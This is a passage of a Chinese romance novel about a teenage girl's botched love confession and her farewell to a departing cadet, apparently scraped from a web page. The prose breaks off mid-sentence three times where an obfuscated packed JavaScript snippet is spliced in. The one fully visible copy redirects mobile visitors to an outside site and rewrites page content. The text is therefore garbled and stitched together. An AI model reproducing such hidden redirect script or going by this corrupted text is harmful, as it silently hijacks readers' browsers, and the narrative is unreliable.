她最近感到很矛盾,明明是为伊消得人憔悴,可是想到郑骐就要离开,她不知道为什么竟从心底生出几分对他的埋怨,气他为什么要走那么远。她已经查过了,从这个城市到航校所在的城市坐火车要三十多个小时,几乎是沿着东部疆域线穿越了大半个中国。 可是她也知道他没错,他为了梦想而努力的那些时光她都看在眼里。所以她只能怪自己,怪自己为什么比他出生晚了一年,为什么不能像他那样跳级,这样就可以和他一起上大学。怀着这样纠结复杂的心情,连日来许悠然都躲在家里,郑骐约她去看电影她借口太热不想去,郑骐约她去逛夜市,她借口中暑没胃口,总之,就是不想面对他。 “我说你傻你还不承认。你既然这么舍不得他,你就告诉他啊,你以为这是演偶像剧吗,只需要互看一眼就能明白对方的心思?大小姐,你以为他是你肚子里的蛔虫啊?”袁文君戳戳许悠然的脑袋,恨铁不成钢。 李薇薇赞同地点头:“文君说得对,你舍不得他就要告诉他,让他知道你会为了他努力,争取有一天和他站在一起,而不是在这里自怨自艾。郑骐哥哥那么优秀,不管到哪里都不缺女孩子喜欢,你不赶紧把这个坑占了小心被别人捷足先登噢。” 许悠然看她一眼,缩了缩肩膀。郑骐的高考成绩对她产生了太大的打击,那是她不管怎么努力都达不到的分数。她又有多少底气去跟他说她会努力变得优秀,有资格和他站在一起呢? 她这畏缩的模样激起了袁文君的气性,她甩甩手,一脸看烂泥的表情:“算了,薇薇,我们不用劝她了,她就是个怂包,之前说什么要努力也是三分钟热度,她就和韩骁说的一样,死了这条心吧!反正东北多的是又高又白的美女,郑骐哥哥很快就会把这个傻妞忘了,等他再回来手上牵个美女,你就自己找个地方哭去吧!” 许悠然真的不受控制地开始想象她描绘的画面。郑骐高大英俊,那个女孩高挑靓丽,两个人不管是外形还是气质都极其登对,他们紧紧牵着手,甜蜜地对视,而她像个自卑的丑小鸭站在他们面前,等着郑骐跟那个幸运的女孩介绍她是他的干妹妹。 她抗拒地抱住头尖叫一声:“不行!” 那画面她只能想象一次,再多一秒都是对她的酷刑。她是不聪明也不优秀,但是她有别人没有的十六年,她不能这样不明不白地让他高飞远走,再回来的时候只把她当成一个邻家妹妹。 袁文君和李薇薇相视而笑,成了!这傻瓜就需要刺激一下。 许悠然豁地站起身,一脸战士即将上战场的决绝。“我才不是怂包!” 三个臭皮匠顶个诸葛亮。她们聚在一起谋划了半天,商量什么时候说,说什么,说完了怎么应对,又模拟现场进行排练,袁文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夜色掩映下,他看到许悠然站在郑家门前的银杏树下,她身前几米远的地方,一个高大挺拔的身影背对着她,黑色T恤几乎和夜色融为一体。那人两手扶着自行车龙头,似乎刚刚从外面回来,还来不及把车放好。 “你能不能不做我的哥哥,你……你能不能等等我?我一定会努力学习,好好用功,让自己变得优秀一点,能够配得上你……” 许悠然的声音越来越小,但许仕明太过熟悉女儿这软糯的腔调,有些委屈,有些倔强,还带着些惹人怜爱的无助。 许仕明挪动几步,闪身躲进楼房的阴影里,屏住呼吸,大气都不敢喘。 时间慢得如同蜗牛上树。许仕明一身冷汗,眼镜从鼻梁上不停往下滑。少女仍在自顾自诉说,那人没有转身,像黑暗中的一尊雕塑,明明很近却没有温度。 许仕明长叹一声,怀着复杂的心情上楼回家。他不想再继续窥探女儿的隐私了。 周亚珍见丈夫高高兴兴出门去,却表情奇怪地回家来,关切地问:“怎么了嘛?出去的时候不是还挺高兴吗?” 许仕明把茶杯重重地放在茶几上,一脸凝重地答道:“原来我们一直搞错了,然然喜欢的不是郑骐,是韩骁!” 31. 乌龙 “啪嗒”,周亚珍手上的拖把掉到了地上。 “你在胡说什么,我是不是听错了?”她弯腰捡起拖把放到一旁。 许仕明一屁股坐到沙发上,“你没听错,我也没胡说。” 周亚珍扑到丈夫身边满脸不敢置信:“不是郑骐是韩骁?你没跟我开玩笑吧!你怎么知道?之前不是还说要当航医?” 许仕明摊开手,也觉得百思不得其解。但是他刚才在楼下亲眼看到女儿向韩骁表白,千真万确,绝对没有眼花。他只得三言两语把看到的讲给妻子听。 周亚珍嘴巴一张一合,欲言又止。许仕明看她一眼,“想说什么就说吧!” 周亚珍憋了好久终于憋出一句话:“韩骁……也挺好的。” 许仕明不说话,手放在膝盖上握紧又松开,松开又握紧。不管是郑骐还是韩骁,他都有种自己种得绿绿嫩嫩、长势喜人的大白菜突然被猪拱了的不爽。 周亚珍还是不信,“你确定是韩骁?不会看错了吧?” 许仕明叹一声气,“你以为我是你啊,我从来就没认错过,就是韩骁,不会错的,那股拽拽的劲儿我大老远就看出来了。” “死丫头怎么突然干这种事呢?我是一点都没看出来她对韩骁有这个心思,平时两个人倒是没少吵架,难道吵着吵着吵成了欢喜冤家?” “先别扯这些了。”许仕明烦躁地挥挥手,“现在是说这些的时候吗?然然才十六岁,正是读书的年纪,刚刚认真了半年,现在又搞这些,三心两意的,怎么能读好书?” “就是说嘛,本来以为她喜欢的是郑骐,能因为郑骐好好学习我也就睁只眼闭只眼算了,怎么现在又换成了韩骁?虽然韩骁成绩也好,可两人每天抬头不见低头见的,真要有点什么还怎么学习?倒还不如郑骐马上走了好。” “要不等会儿她回来了你和她谈谈,这事儿得你当妈的说,我不好说。” “我不去干这吃力不讨好的事情,每次恶人都是我,好人都是你,这次换你,我这脾气你不怕三句话就吵起来?” 许仕明想了想,觉得妻子说得有道理。“那我等会儿先点点她,看她是什么想法,如果只是表个白没别的进一步举动咱们就先按兵不动,要是两个人不安分了,那我可要敲打敲打她了,女孩子不能这么不矜持。韩骁虽然看着叛逆,但也不是不守规矩的孩子,实在不行我跟郑英伟说说。就算要做亲家,那也太早了点。” 夫妻俩正交头接耳,大门开了,许悠然重重关上门,气呼呼地往里走。 夫妻俩心照不宣地对视一眼,马上笑容可掬地招呼:“然然,回来啦,快来吃块西瓜解解暑。” 许悠然闷声闷气应了一声就径直走回房间,别说吃西瓜,就是吃冰块也灭不了她心里的怒火。 她幻想过各种场景,郑骐会怎么回答她,她要做什么反应。可是她没想到,她精心策划的表白竟然会是这样的结局。 她在袁文君家里练习了一个下午,对着镜子把每个表情都调整到了最佳状态,又在院门口溜达了很久,不停给自己打气,最后万事俱备,就等着郑骐从体育馆回来。 天已经黑透了,郑骐还没回来,许悠然百无聊赖地在门口走来走去,一会儿看看地上的蚂蚁,一会儿看看头顶的树叶,实在无聊就竖起耳朵听大樟树下邻居们七嘴八舌地聊谁家夫妻打架了、谁家孩子惹祸了。 院里的人越来越少,薄云散开,月光透过树叶缝隙落下一层层清辉。树影摇曳,月光朦胧,许悠然很满意,这是个适合表白的夜晚。趁着空隙,许悠然回家上了个洗手间,谁知刚刚下到一楼就看到郑骐推着自行车往家走。她呼吸一窒,马上就冲上去截住了他。 “郑骐!”许悠然在离他三四米的地方停下了脚步。她突然没有勇气上前跟他面对面,她完全没想到会在这样毫无准备的情况下看到他,原先练习好的表情突然都失去了控制,她竭力调整好自己的呼吸和表情,心里暗自庆幸,幸好郑骐背对着她,或许看不到他的脸反而能更勇敢。 郑骐果然停住了,他扶着自行车龙头,黑色T恤在夜色里难以分辨。 “别回头!”许悠然见他要转过身来,马上大喊着制止了他的动作。 郑骐身形一顿,听话地没有转过来,也没有说话。 许悠然深呼吸让自己尽量平静下来,然后准备背她已经十分熟练的台词。可不知道怎么的,一口气卡在喉咙里,忽然间大脑一团混沌,明明已经滚瓜烂熟的台词居然一个字都记不起来。 “我……我……”她结结巴巴说不出来,幸好郑骐看不到她这狼狈的模样。 算了,豁出去了! “我喜欢你!”许悠然闭上眼睛,紧握双拳,几乎是吼喊着说出了一直藏在她心底的话。 说出了最关键的话,她反而没那么紧张了,心跳也渐渐平缓下来。她深深吸了一口气,继续说。 “从小到大,你一直像哥哥一样关心我,照顾我,保护我,可以说比亲哥哥还好,但是在我心里,从来没把你当成哥哥……” “小时候你把自己的糖葫芦让给我,给我做饭,把我从树上抱下来,陪我上学放学,不让韩骁欺负我……一桩桩一件件我都记得很清楚,我知道自己在说什么,这不是亲情,就算曾经是亲情,在我长大之后就不是了。你要走了,我……很舍不得你……你在那里要照顾好自己,听说那里冬天特别长特别冷,比我们这儿冷多了……” 许悠然顿了顿,她想到什么就说什么,已经毫无章法和逻辑。 “我知道我学习不好,也不聪明,但是我会努力的,你能不能不当我哥哥……能不能等我两年?我一定会努力学习,好好用功,让自己变得优秀一点,能够配得上你……” 许悠然絮絮叨叨,像在自言自语,又像一个疯癫的倾诉者,只顾着自己说,完全不理会对方是否有所回应。那个唯一的听众虔诚地倾听着,院子里静悄悄,只听得见许悠然细小娇柔的声音,还有附近邻居家里传出的电视声音。 终于说完了,她已经没有刚开始的紧张忐忑,回忆起年少时那些相处的点滴,心里暖暖的,不自觉就放松下来,像在说一件很平常的事情。她长吁一口气,感到无比轻松。想说的话都说了,现在就等着郑骐的回应。可郑骐静静立着,没有反应。 时间一分一秒过去,好像只是一瞬,又好像过了很久很久,许悠然的心随着流逝的时间慢慢变冷,她眼眶一酸,瞬间就蓄满了泪水。 沉默意味着拒绝。 “我知道了,你只想当我哥哥。”她用手背抹抹眼睛,哽咽着说完,转身就要离开。她还有最后的自尊,不想让郑骐看到她因为表白被拒而满脸泪水的难堪模样。 “哈哈哈哈……” 夜空中突然爆发出一阵爽朗的狂笑。 许悠然懵然地看着他。黑暗中,他的侧脸轮廓清晰地映入许悠然的眼睛,她突然反应过来,这不是郑骐! 浑身的血液急速往大脑汇集。许悠然的脑袋“轰”地一声炸开了,所有思绪都飞到了九霄云外。 她手脚发麻,僵立着,直到笑声渐弱,她的思绪才慢慢回到正常。 “韩骁,别笑了!”许悠然气得跺脚,恨不得上去捂住他的嘴。 她竟然会犯这种致命错误!竟然认错了人!竟然让韩骁听到了她的少女心事! “哈哈哈……许悠然,我说你笨还真没冤枉你,连表白都能认错人……哈哈哈……” “你给我闭嘴!”许悠然再也忍不了了,冲上去恶狠狠地瞪着韩骁。见他还在笑,就用力朝他肩膀捶了一拳。 “要我闭嘴也行,你给我什么好处?”韩骁被她捶得后退一步,终于止住笑,不怀好意地看着她。 “你想要什么好处?”许悠然后退半步,警惕地看着他,她就知道这坏蛋不会那么好说话。 “我想想……”韩骁用手摸着下巴,月光洒下来正好照在他的脸上,鼻尖上两颗痣尽收眼底,正是这两颗痣让他看起来比郑骐多了些不羁和狂傲。 许悠然不停地在心里埋怨自己。早知道就让他转过身了,一定是夜太黑,她太紧张才会认错人。 “马上开学了,你给我买一个月午饭,放心,我吃得不多。” “什么!一个月?你是黄世仁还是周扒皮!你自己没零花钱吗?”许悠然愤怒地叫唤。 “花完了……”韩骁摊开手,“男生总比女生用钱的地方多嘛,你同不同意?不同意我等会儿就告诉郑骐你喜欢他……”韩骁挑起嘴角笑了笑,像极了电影里的纨绔。 “十天!”许悠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许仕明一愣,没想到女儿会提出这种要求。倒也不是不行,他就这么一个宝贝女儿,哪怕她要天上的星星他也会想办法去摘,他不理解的是为什么她的情绪变化得这么快。回家的时候明明一脸愤怒和沮丧,现在又像个渴求糖果的小孩子,很容易就被满足了。 许仕明点点头:“增加零花钱可以,不过我想问你一个问题,你可以诚实地回答我吗?” 许悠然见父亲这么爽快地同意,表白乌龙带来的郁闷就消减了一半。这下韩骁勒索的午饭有着落了。她点点头,等着父亲提出他的问题。 “你,还想当航医吗?” “当然想啊!这是我的梦想,不会轻易改变的。”许悠然有点诧异,为什么父亲突然问起这个。 许仕明十分不解。既然她还想当航医,那为什么要向韩骁表白?难道韩骁也打算去当飞行员?那郑家可就要炸锅了。 “其实……爸爸知道你长大了,女孩子长大了会有自己的心事,不想跟家长说也是正常的,但是如果关系到自己的前途就不能那么任性。而且,我认为女孩子和异性相处,需要掌握一点分寸,要矜持一点,不然容易被人看轻,你明白我的意思么?” 许悠然被父亲说得云里雾里:“爸,你到底在说什么啊?当航医真的是我自己喜欢,我想得很清楚,不是一时冲动,我知道以我现在的成绩还考不上军医大学,但是还有两年,我会继续努力的。” 许仕明略感欣慰地点点头,伸出手摸了摸女儿的头顶,接着说:“有些感情可能来得早,但是来得不是时候,就像在不适合的季节开的花,肯定开不长久,你知道吧?所以该学习的年纪就应该学习,别的事情等到了合适的年纪再考虑。” 许悠然彻底迷糊了,懵懂地看着父亲,示意他接着说下去。 许仕明见她一副茫然无知的模样,心里忍不住叹息,分明还是个孩子啊,懂什么爱情? 他索性心一横,小心翼翼地问:“你,是不是喜欢韩骁?” 许悠然怀疑自己耳朵出了问题:“你说什么?” “你是不是喜欢韩骁?” 许悠然伸出食指指向自己:“我?喜欢韩骁?” 许仕明点点头。 许悠然无语到了极点,“扑哧”一下笑出声来。 “哪怕全天下只剩他一个男人,我自杀都不会喜欢他!” 32. 离别 许悠然从小到大最不喜欢的场景就是告别。十岁时,远在岭南的外公去世,许悠然跟随父母去参加外公的葬礼。她清楚地记得在殡仪馆里,母亲哭得死去活来,她茫然无措地站在一旁紧紧牵着父亲的手,感到紧张又恐惧。 她和那个躺在鲜花里面的老人并不亲近,一年最多见上一两面,相处几天。他会给她买各种好吃的、好玩的,还有漂亮的裙子,整天笑眯眯的。但是对许悠然来说,他远不如郑爷爷和韩姥爷亲近。 她想哭,却哭不出来,不是因为冷漠,而是因为无助,看到母亲肝肠寸断,她也觉得难受,却什么都做不了,连眼泪似乎都只是累赘。 撕心裂肺的痛哭和凄楚悲伤的哀乐让许悠然第一次明白了什么是告别。不是挥挥手说再见那么简单,有的告别是一生一世,再也不见。 那次送别的经历对许悠然产生了极大的震动,从此她尽可能避免参与任何告别,只要不说再见,就可以当做没有分开。 机场永远是热闹的,往来不绝的旅客拉着行李箱脚步匆匆,川流不息,擦肩而过的瞬间没有一个回眸或对视。 韩少蓉特地请了半天假来送儿子。航校开学早,许悠然还没开学却感到她的假期已经提前结束了。她站在干妈身边,闷闷不乐地揉着衣服下摆,迷茫地看着来往的人群,视线就是不敢聚焦在郑骐身上。 “去了那边要照顾好自己,天冷加衣,有什么事情给我打电话,别让爷爷和姥爷担心你。最最重要的是……”韩少蓉唠唠叨叨说个没完。 “安全第一。妈,我已经不是小孩子了,这话我都听了多少次了,耳朵快起茧子了。”郑骐笑着打断母亲的话。 “你知道就好!”韩少蓉还是忍不住红了眼眶。 郑骐揽住母亲的肩膀,贴心地劝慰:“我爸不是马上就回来了?您就当是我替下他了行不行?” 韩骁站在一旁看着他们母慈子孝的感人画面,两眼看天作无语状。 “韩骁,我不在家你别老惹妈生气,听到没!”郑骐作势踢他一脚。 韩骁扭身一躲,不耐烦地说:“知道了知道了!这话我都听了多少次了,耳朵也快起茧子了。” “臭小子!这是什么,这么沉?”郑骐笑骂一句,掂了掂一个形状奇怪的大包裹。 “没什么,送你的升学礼物。将来你开上飞机了得加倍还给我。”韩骁有些别扭地转开头,故意恶声恶气。 “少不了你的!”郑骐背起背包,转到许悠然面前。见她双眼已经微红,一副泫然欲泣的模样,心里也有些难受。 “傻瓜,我又不是去了就不回来了,寒暑假不是也照样放假吗,哭什么呀?”郑骐伸出手想要摸摸她的头,手在半空中顿了顿,终于还是轻轻地抚上了她的头发。 他的手又大又暖,许悠然不自觉蹭了蹭,带着浓浓的鼻音答道:“我才没哭呢!” “还没哭?都成红眼兔子了。”郑骐看着她倔强的模样温柔地笑了笑,“如果韩骁欺负你,打电话告诉我,我手机号你记住了吧?” 许悠然点点头,她早就已经背得滚瓜烂熟了。 “我才懒得欺负她。”韩骁的声音从身侧冷冷传来。 “不过听说军校管得严,不能每天用手机,我有空了会打给你的。好好学习,等我回来。”郑骐并拢食指和中指,潇洒地在眉间敬了个礼。 许悠然的声音哽在喉咙里,一个字都说不出来,只得委屈地低下头“嗯”了一声。 机场广播响了。 “乘坐东方航空mu3323前往长春的旅客现在开始登机……” 许悠然抬起头恋恋不舍地看着郑骐。他终于要飞向他的梦想了,而她只能留下来,看着他走。 郑骐正好也转头看向她。两人视线胶着了几秒,郑骐转身挥挥手进了闸口。 许悠然终于按耐不住,踉跄着上前几步,却终究还是停了下来。 似乎是某种心灵感应,就在许悠然停下脚步的那一刻,郑骐也恰好回过头来,隔着茫茫人潮,少女的眼前一片模糊。 “好好学习,将来我开飞机带你看日落!” 郑骐的声音穿越人潮汹涌,清晰地传入她的耳中。 以后无数个不眠之夜,当许悠然奋战在题海中焦头烂额,心生退意的时候,这句话就会回响在她脑海里。她会立刻像吃了菠菜的大力水手,瞬间有了勇气和力量,能再多坚持一下。即使眼皮已经重得抬不起来,她也能在做完所有的题目之后再倒下。因为她答应了郑骐,要好好学习。她也答应过自己,一定要成为航医。 郑骐走后的日子变得异常平静,平静到了乏味的地步。 许悠然的生活进入了固定的单机模式,学校、家里两点一线。她不理韩骁,韩骁也不来招惹她。有时候两人在学校里碰到,也只是对视一眼,然后像不认识那样各自走开。许悠然偶尔还是会去干妈家里吃饭,每当她和干妈聊得热火朝天的时候,韩骁就和透明人一样一声不吭,可就在你以为他压根没听的时候又会突然冒出一句“吵死了”,然后迎来两个女人的怒视。 许悠然开始失眠了,以前她总能一觉到天亮,可现在她总会在结束一天的学习之后睡不着,明明很累,一闭上眼睛却开始想念郑骐。 想知道他在航校过得好不好,学习苦不苦,训练累不累,会不会有危险等等。即使郑骐打过电话回来,说他现在压根还不能上飞机,可她就是不信。郑骐只得转移话题,说些航校里的趣事哄她开心。 更想知道他有没有像她想念他一样想念她。航校管得严,手机统一上交,固定时间下发,许悠然并不能经常联系到郑骐,在那些不能联系他的日子里,她的生活犹如陷入了极夜,只有郑骐的消息才能带来阳光,她在极昼和极夜间交替循环,没有中间地带。 许悠然只能趁着吃晚饭的时候跟干妈抱怨自己睡不好。韩少蓉是内科医生,没有许仕明和周亚珍那么忙,见许悠然脸色不好以为她是学习太拼命压力太大,不免有点担心。 “要不干妈给你开点药吃吃?你现在课业这么重,休息不好可怎么办?” 许悠然摇摇头,她可不要吃药,万一影响记忆力考不上军医大学就糟糕了。 韩骁瞥了她一眼:“妈,到底谁上高三啊!你什么时候关心关心我呗!” 韩少蓉啐了他一口,“你还需要关心?这个家每天吃得最香睡得最好的人是谁?” 许悠然连声附和:“就是!” 韩骁瞪她:“一边去,大人说话小孩别插嘴。”他已经过了十八岁生日, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287635|163966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常常在许悠然面前以大人自居。 许悠然回瞪:“你才是小孩!幼稚!” 韩骁埋头吃饭不理她。 许悠然又继续跟干妈撒娇:“学校晚自习放学太晚了,路上都没几个人……” 韩少蓉眼睛一亮:“对对,我早想到这个问题了,让你跟韩骁一起走你不干,现在知道害怕了?以后还是和韩骁一起走吧,安全第一。小孩子别老斗气……” 韩骁不作声。 许悠然瞥他一眼,含糊其辞:“再说吧,我大多时候都和同学一起走的……” 这个话题无疾而终,韩少蓉很快又说起了别的事。 许悠然扒饭的间隙抬眼瞄韩骁,谁料韩骁也正看她。两人默契地把视线移开,继续吃饭。 奇怪的是从那以后,每天晚上放学许悠然总能在校门口碰到韩骁。韩骁也不跟她说话,见她来了就自顾自往外走,许悠然也不会自讨没趣,只默默跟在他身后,两人一前一后,隔着不近不远的距离,一路沉默着到家。 就这样过了一年,韩骁也要离开了。他学习不如郑骐努力,但是好在基础牢天分高,加上心态好,高考成绩竟然超出一本分数线不少。 韩少蓉喜出望外,郑英伟也高兴得合不拢嘴。原本他们都没对韩骁抱太大希望,只要他不惹事生非就谢天谢地,没想到喜从天降竟然白捡了个重点大学,那段时间夫妻俩看韩骁都觉得顺眼了许多。 赶在韩骁填志愿之前郑骐从航校回来了。他黑了也壮实了,以前的郑骐白净修长,一年的时间让他几乎变成了另一个人,皮肤变得粗糙了许多,结实的肌肉被短袖T恤衫勾勒出明显的线条,脸部轮廓更清晰锐利了,他似乎已经完成了从男孩到男人的蜕变,更加沉稳干练。 许悠然并没太多时间和他单独相处,他太忙,和老同学聚会,看望爷爷和姥爷,还积极地去郑英伟现在任教的学校交流学习,又要忙着给韩骁填志愿提供参考意见,许悠然只得闷闷不乐地坐在一旁以请教题目为幌子,争取多一点和他相处的时间。 “韩骁,你有没有想读的学校和转业?” 郑骐认真翻着学校发的参考资料,不时用笔做记号。 韩骁懒散地拨弄着吉他,漫不经心回答:“随便。” 郑骐摇摇头:“你对信息通信工程感不感兴趣?” “还行吧。” “我对比了一下,还是觉得这个学校最适合你。”郑骐把学校名册送到韩骁眼前,指给他看。 “电子科技大学?”韩骁瞅了许悠然一眼,“那不是在西北吗?” “是啊,千年古都,怎么,你不喜欢?” 许悠然一听“千年古都”四个字,耳朵马上竖了起来。韩骁要去她心心念念的城市读大学?可千万不要啊! “关中呀,好地方!好多好吃的,羊肉泡馍、肉夹馍、水盆羊肉,臊子面,都是我爱吃的。”韩骁如数家珍,好像已经提前做过功课一样。 “那就这个学校吧,你自己选个专业,这个学校最好的专业就是信息通信工程,你的分数应该没问题。” 许悠然的笔在稿纸上乱画,早已经忘了要写什么。韩骁要和她在一座城市读书?除非她不念军医大学,否则未来四年都要和韩骁在一个城市生活……